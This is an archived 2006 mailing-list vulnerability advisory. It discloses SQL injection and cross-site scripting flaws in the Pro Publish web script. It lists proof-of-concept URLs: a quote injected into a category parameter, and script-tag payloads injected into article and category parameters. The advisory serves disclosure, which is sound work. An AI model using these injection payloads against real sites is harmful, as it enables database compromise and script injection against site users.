Pro Publish SQL Injection and XSS Vulnerabilities
- From: Soothackers@xxxxxxxxx
- Date: 2 Jun 2006 17:25:40 -0000
---------------------------------------------
Pro Publish SQL Injection and XSS Vulnerabilities
---------------------------------------------
Site:
http://www.deltascripts.com/download/
Bug:
1. SQL Injection :
http://victim/propublish/cat.php?catid='
2. XSS :
1- http://victim/propublish/art.php?artid=";><script>alert(/Soot/)</script>
2- http://victim/propublish/cat.php?catname=";><script>alert(/Soot/)</script>
---------------------------------------------
Source :
http://soot.shabgard.org/bugs/propublish.txt
Credit :
Soot
Shabgard Security Team
http://www.shabgard.org
Greetz :
Hregy,Elite,Bl2k,Littlehacker,Sasan_4shir
---------------------------------------------
- Prev by Date: new bug
- Next by Date: # MHG Security Team --- MyBloggie 2.1.1 version Remote File Include Vulnerabilit
- Previous by thread: new bug
- Next by thread: # MHG Security Team --- MyBloggie 2.1.1 version Remote File Include Vulnerabilit
- Index(es):
